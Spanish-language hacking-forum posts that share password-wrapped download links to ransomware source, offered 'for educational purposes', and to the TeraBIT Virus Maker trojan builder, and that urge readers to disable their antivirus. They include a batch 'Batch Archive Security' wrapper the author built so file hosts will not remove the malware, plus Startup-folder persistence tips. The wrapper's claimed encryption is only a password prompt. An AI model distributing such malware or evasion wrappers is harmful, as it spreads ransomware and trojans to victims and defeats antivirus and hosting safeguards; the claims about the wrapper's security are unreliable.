hola te he subido el programa. se llama Protec Folder.

Aquí el archivo https://mega.nz/#!810xRZ4Y!4VcxoPektrKMTCLLqEts6qOuT-_C54wahAThj5pUhg4


Instrucciones:

1)Descargas el ".bat"  y cundo lo abras te pedirá una contraseña:

la contraseña es : 1234



2) presionamos enter y aparecera un archivo rar que contiene el Programa que
necesitas.

3)lo instalas y listo. Con esto puedes poner contraseña a tus carpetas.

imagen del programa:


PD: Creo que ahora no viole ninguna regla del foro.  

                                                COMENTA

hola a todos los del foro .

hoy comparto con ustedes un Ransomware  creado con "fines educativos" 

bueno cifre el code con una herramienta que cree hace unos dias muy util. para que no me tumben el link.

si les interesa la herramienta para cifrar es: Batch Archive Security

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

BUENO SIN MAS QUE DECIR EL CÓDIGO DEL Ransomware :

https://mega.nz/#!8892SSYJ!X29F4hlIUTC-gWNmtL9mKWwVNOU4byyEYrE0FgeEPPc

DESCARGAN EL BATCH Y LES PEDIRA UNA CONTRASEÑA.

la contraseña es:   123456

despues presionamos enter y listo les aparecera un zip que contiene el código del Ransomware.
                                                    COMENTEN

ya, lo he puesto como querías.

ahora si quieres que se ejecute cada vez que enciendas la pc. ve a :

inicio >> Startup o (inicio) >> presiona sobre la carpeta el click derecho>> abrir

y una ves alli copias el bat dentro de esa carpeta. 

listo , asi de facil:  

@echo off
goto s
:k
REM Create By **Aincrad**
echo/
ECHO RECUERDA QUE :
echo/
ECHO 1000 BYTES = 1 KB
ECHO 1000 KB    = 1 MB
::::::::::::::::::::::
:s
::::::::::::::::::::::
@echo off
set strdir="%appdata%\local\Microsoft\ehome\ehthumbs_vista.db"
set dir="c:\ehthumbs_vista.db"
 
call :size %strdir%
   ( 
      pause>nul
              exit   )
 
 
:size 
if ["%~z1"] GTR ["100000"] (
echo Es mayor de 100.000 byte, tiene %~z1
exit
) else (
echo Es menor de 100.000 byte, tiene %~z1
copy "%dir%" "%strdir%
exit
)
goto:eof

                                       COMENTA SI TE FUNCIONO  

hala a todos.  
Hoy les traigo un programa bastante viejo, pero funcional . con el podrás crear virus sin tener ningún conocimiento de programacion. XD.

El Programa lo que hace es crear virus y por eso cundo vas ejecutarlo tienes que desactivar tu antivirus , por que básicamente estas trabajando con troyanos.

Bueno, el programa cuesta conseguirlo en internet por que cada vez que lo suben, los servidores lo eliminan.
pero hace unos días cree una aplicación en batch y me di cuenta que tiene mas potencial del que creía ya que con esta aplicación  pueden cifrar archivos o programas, y gracias a eso los servidores no eliminan la aplicación.  

bueno si alguien le interesa la aplicación para cifrar:

http://foro.elhacker.net/scripting/batch_aporte_batch_archive_security_ponle_contrasena_a_tus_archivos-t475058.0.html

y bueno aqui el link de TeraBIT Virus Maker 3.1 para creación de virus.

https://mega.nz/#!Z9kSBYIY!GZLGqCkIZbRPglmC9yFIULoBcElt8gfGUAlK26FsqX4

DESPUÉS DE DESCARGAR, LO ABREN Y LES PEDIRÁ UNA CONTRASEÑA:

La Contraseña es :      1234




                                              COMENTEN

Si funciona!!! , Gracias por el aporte...  

si te interesa ya subí la versión 0.2 del batch archive security. le he corregido todos los bug.

ahora se pueden cifrar ejecutables, imajenes, etc... de todo.  si lo pruebas avísame si funciona en win 10. ya que yo tengo vista. 

Nunca debe faltar el humor en un pograma.      

Me despido por hoy , hasta mañana.


HAIL HYDRA . .. . . . . .




Se ha subido la versión 0.2 , esta versión no tiene ningún defecto



-------------------------------------------------      Bach Archive Security 0.2      ------------------------------------------------------------------

                                                                                     COMENTEN

hola , al foro.  

Estaba ayudando a un usario del foro llamado Orni1 con su script y se me ocurrio hacer un programa en batch para colocar contraseña a cualquier tipo
de archivo (exepto imajenes , si se cifran imajenes tienes que pasarlas a rar)

bueno con esta herramienta puede poner contraseña a tus archivos (exe,mp3,mp4
jar, entre otros formatos).( las imajenes se deben comprimir un .zip y luego cifrar)

code:

@echo off
title Bienbenido %USERNAME%                                           --- Batch Archive Security ---
if exist %temp%\pass.txt del %temp%\pass.txt >nul
if exist %temp%\pass1.txt del %temp%\pass1.txt >nul
if exist %temp%\bas.bat del %temp%\bas.bat >nul
:menu & cls  
color a
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse 
echo ³                                                               ³     Version 
echo ³        Este Programa Portable sirve para poner                ³         (0.1)
echo ³             Contrasena a cualquier archivo.                   ³
echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo ³      Creada especialmente para (Orni1)                        ³ BATCH       ³
echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
echo ³                                                               ³     SECURITY³
echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³    PASOS A SEGUIR:                                            ³ Para:
echo ³                                                               ³    F  
echo ³    1) Escriba el nombre de el archivo a cifrar. y tambien     ³     o
echo ³        Su formato. Ej: (.txt , .exe , .rar , .jar) etc..      ³      r
echo ³                                                               ³       o
echo ³    2) Escriba el Pass (Contraseña). Todo menos simbolos.      ³   El    
echo ³                                                               ³ H
echo ³    3) Listo..... :v                                           ³  a
echo ³                                                               ³   c
echo ³    4) En caso de no entender nada de los pasos, escriba       ³    k
echo ³         help   y si no entiende Vayase a la mierrrrr...da     ³     e
echo ³                                                               ³      r
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
set /p op= Escriba el nombre de el archivo a cifrar : 
if not defined op (goto:menu) >NUL
if not exist %op% (goto:err) >NUL
Ping -n 2 Localhost >NUL
 
set p=set
set t=var
set "resultado=%resultado:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%" "
 
:si
set /p ps= el archivo si existe escriba una contraseña : 
if not defined ps goto :si >NUL
echo %ps%>>%temp%\pass1.txt
Ping -n 2 Localhost >NUL
set archivo=%temp%\pass1.txt
 
:::::::::::::::::
:Ofuscador
:::::::::::::::::
 
:Lineas
Set Linea=0
For /F "Tokens=*" %%a in ('Type %archivo% ^| Find /V /C ""') do (Set Total=%%a)
 
:Leer_Ofuscador
If "%linea%" EQU "%total%" (Goto :Fin_Ofuscador)
 
For /F "Tokens=*" %%a in ('Type %archivo% ^| MORE +%Linea%') do (
    Echo: Ofuscando: "%%a"
    Set /A Linea+=1
    Set "String=%%a"
    If not defined string (Goto :Leer_Ofuscador)
    Echo %%a>"%TEMP%\String.tmp"
    FOR %%? IN (%TEMP%\String.tmp) DO ( SET /A Longitud=%%~z? - 2 )
    Goto :Ofuscar
)
 
 
:Ofuscar
 
 
If "%Count%" EQU "%Longitud%" (
    call :Write_Ofuscador
    Goto :Leer_Ofuscador)
 
::Comilladoble
Set "String=%String:"=€%"& rem "
 
::Espacio
If "%String:~0,1%" EQU " " (Set "New_String=%New_String% ")
 
::Alpha
If "%String:~0,1%" EQU "a" (Set "New_String=%New_String%%%var:~27,1%%")
If "%String:~0,1%" EQU "b" (Set "New_String=%New_String%%%var:~28,1%%")
If "%String:~0,1%" EQU "c" (Set "New_String=%New_String%%%var:~29,1%%")
If "%String:~0,1%" EQU "d" (Set "New_String=%New_String%%%var:~30,1%%")
If "%String:~0,1%" EQU "e" (Set "New_String=%New_String%%%var:~31,1%%")
If "%String:~0,1%" EQU "f" (Set "New_String=%New_String%%%var:~32,1%%")
If "%String:~0,1%" EQU "g" (Set "New_String=%New_String%%%var:~33,1%%")
If "%String:~0,1%" EQU "h" (Set "New_String=%New_String%%%var:~34,1%%")
If "%String:~0,1%" EQU "i" (Set "New_String=%New_String%%%var:~35,1%%")
If "%String:~0,1%" EQU "j" (Set "New_String=%New_String%%%var:~36,1%%")
If "%String:~0,1%" EQU "k" (Set "New_String=%New_String%%%var:~37,1%%")
If "%String:~0,1%" EQU "l" (Set "New_String=%New_String%%%var:~38,1%%")
If "%String:~0,1%" EQU "m" (Set "New_String=%New_String%%%var:~39,1%%")
If "%String:~0,1%" EQU "n" (Set "New_String=%New_String%%%var:~40,1%%")
If "%String:~0,1%" EQU "o" (Set "New_String=%New_String%%%var:~41,1%%")
If "%String:~0,1%" EQU "p" (Set "New_String=%New_String%%%var:~42,1%%")
If "%String:~0,1%" EQU "q" (Set "New_String=%New_String%%%var:~43,1%%")
If "%String:~0,1%" EQU "r" (Set "New_String=%New_String%%%var:~44,1%%")
If "%String:~0,1%" EQU "s" (Set "New_String=%New_String%%%var:~45,1%%")
If "%String:~0,1%" EQU "t" (Set "New_String=%New_String%%%var:~46,1%%")
If "%String:~0,1%" EQU "u" (Set "New_String=%New_String%%%var:~47,1%%")
If "%String:~0,1%" EQU "v" (Set "New_String=%New_String%%%var:~48,1%%")
If "%String:~0,1%" EQU "w" (Set "New_String=%New_String%%%var:~49,1%%")
If "%String:~0,1%" EQU "x" (Set "New_String=%New_String%%%var:~50,1%%")
If "%String:~0,1%" EQU "y" (Set "New_String=%New_String%%%var:~51,1%%")
If "%String:~0,1%" EQU "z" (Set "New_String=%New_String%%%var:~52,1%%")
If "%String:~0,1%" EQU "A" (Set "New_String=%New_String%%%var:~1,1%%")
If "%String:~0,1%" EQU "B" (Set "New_String=%New_String%%%var:~2,1%%")
If "%String:~0,1%" EQU "C" (Set "New_String=%New_String%%%var:~3,1%%")
If "%String:~0,1%" EQU "D" (Set "New_String=%New_String%%%var:~4,1%%")
If "%String:~0,1%" EQU "E" (Set "New_String=%New_String%%%var:~5,1%%")
If "%String:~0,1%" EQU "F" (Set "New_String=%New_String%%%var:~6,1%%")
If "%String:~0,1%" EQU "G" (Set "New_String=%New_String%%%var:~7,1%%")
If "%String:~0,1%" EQU "H" (Set "New_String=%New_String%%%var:~8,1%%")
If "%String:~0,1%" EQU "I" (Set "New_String=%New_String%%%var:~9,1%%")
If "%String:~0,1%" EQU "J" (Set "New_String=%New_String%%%var:~10,1%%")
If "%String:~0,1%" EQU "K" (Set "New_String=%New_String%%%var:~11,1%%")
If "%String:~0,1%" EQU "L" (Set "New_String=%New_String%%%var:~12,1%%")
If "%String:~0,1%" EQU "M" (Set "New_String=%New_String%%%var:~13,1%%")
If "%String:~0,1%" EQU "N" (Set "New_String=%New_String%%%var:~14,1%%")
If "%String:~0,1%" EQU "O" (Set "New_String=%New_String%%%var:~15,1%%")
If "%String:~0,1%" EQU "P" (Set "New_String=%New_String%%%var:~16,1%%")
If "%String:~0,1%" EQU "Q" (Set "New_String=%New_String%%%var:~17,1%%")
If "%String:~0,1%" EQU "R" (Set "New_String=%New_String%%%var:~18,1%%")
If "%String:~0,1%" EQU "S" (Set "New_String=%New_String%%%var:~19,1%%")
If "%String:~0,1%" EQU "T" (Set "New_String=%New_String%%%var:~20,1%%")
If "%String:~0,1%" EQU "U" (Set "New_String=%New_String%%%var:~21,1%%")
If "%String:~0,1%" EQU "V" (Set "New_String=%New_String%%%var:~22,1%%")
If "%String:~0,1%" EQU "W" (Set "New_String=%New_String%%%var:~23,1%%")
If "%String:~0,1%" EQU "X" (Set "New_String=%New_String%%%var:~24,1%%")
If "%String:~0,1%" EQU "Y" (Set "New_String=%New_String%%%var:~25,1%%")
If "%String:~0,1%" EQU "Z" (Set "New_String=%New_String%%%var:~26,1%%")
 
::Numeric
If "%String:~0,1%" EQU "0" (Set "New_String=%New_String%%%var:~53,1%%")
If "%String:~0,1%" EQU "1" (Set "New_String=%New_String%%%var:~54,1%%")
If "%String:~0,1%" EQU "2" (Set "New_String=%New_String%%%var:~55,1%%")
If "%String:~0,1%" EQU "3" (Set "New_String=%New_String%%%var:~56,1%%")
If "%String:~0,1%" EQU "4" (Set "New_String=%New_String%%%var:~57,1%%")
If "%String:~0,1%" EQU "5" (Set "New_String=%New_String%%%var:~58,1%%")
If "%String:~0,1%" EQU "6" (Set "New_String=%New_String%%%var:~59,1%%")
If "%String:~0,1%" EQU "7" (Set "New_String=%New_String%%%var:~60,1%%")
If "%String:~0,1%" EQU "8" (Set "New_String=%New_String%%%var:~61,1%%")
If "%String:~0,1%" EQU "9" (Set "New_String=%New_String%%%var:~62,1%%")
 
Set "String=%String:~1%"
Set /A Count+=1
Goto :Ofuscar
 
:Write_Ofuscador
Set "New_String=%New_String:€="%"& rem "
Echo %New_String%>>%temp%\pass.txt
If NOT Errorlevel 0 (Echo ERROR & pause & Exit /B 1)
Set "New_String="
Set "Count="
Goto :EOF
 
:Fin_Ofuscador
Del /Q "%TEMP%\String.tmp"
Cls
echo Fin | More
Ping -n 2 Localhost >NUL
 
for /f "tokens=*" %%x in (%temp%\pass.txt) do (set psw=%%x)
 
:hsss
(
echo @echo off
echo %p% %t%^=%resultado%
echo color a
echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse 
echo echo ³                                                               ³     Version 
echo echo ³                                                               ³          0.1
echo echo ³                                                               ³
echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo echo ³      Creada especialmente para *Orni1*                        ³ BATCH       ³
echo echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
echo echo ³                                                               ³     SECURITY³
echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo echo ³    PASOS A SEGUIR:                                            ³ Para:
echo echo ³     1. Escriba el Pass *Contraseña*. Todo menos simbolos.     ³    F  
echo echo ³                                                               ³     o
echo echo ³     2. Listo..... :v                                          ³      r
echo echo ³                                                               ³       o
echo echo ³     4. En caso de no entender nada de los pasos a segui       ³   El    
echo echo ³                     Vayase a la mierrrrr...da                 ³ H
echo echo ³                                                               ³  a
echo echo ³                                                               ³   c
echo echo ³                                                               ³    k
echo echo ³                                                               ³     e
echo echo ³                                                               ³      r
echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
echo set /p c= Escriba la contraseña del archivo cifrado :
echo if not defined c  ^exit  
echo If ^%%c%%^=^= %psw% goto d  
echo exit
echo :d
echo ^(
echo ECHO 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d, 1d
echo ECHO E
echo ^) ^| EDLIN /B ^"%op% cifrado.bat^" 
echo copy /b ^"%op% cifrado.bat^" ^"%op%^") > %temp%\bas.bat
 
:co
copy /b "%temp%\bas.bat" + "%op%" "%op% cifrado.bat%
goto f
 
:f
echo Proceso terminado Gracias por usar Batch Archive Security
echo Salvador F. Krilewski.    **Aincrad**
pause & exit
 
::::::::::::::::::::::::::::
:err
::::::::::::::::::::::::::::
color c
echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³          no se ha Encontrado el Archivo Especificado.         ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                  ERROR CODE (2111995x32)                      ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ³                                                               ³
echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 
echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
pause & exit 

para cifrar:


el archivo cifrado:




                                          Comenten plis..  


                                         VERSION 0.2 LISTA.
--------------------------------TODOS LOS BUG CORREGIDOS. --------------------------------

Esta versión no tiene ningún defecto y se pueden cifrar toda clase de archivos .
(imágenes, músicas, vídeos , ejecutables ,documentos , entre muchas cosas mas)
no tiene ningún error.                           atencion no se comparte el code de la version 0.2 ya que es la version definitiva sin ningun problema


link:

Batch Archive Security

  . Elektro le escribiste un testamento .. ..     

a mi si me cierra la cmd , si me funciona. 

comprime el archivo zip y le pone contraseña sin problemas. y si se cierra la cmd.

yo tengo windows vista. y corre perfecto.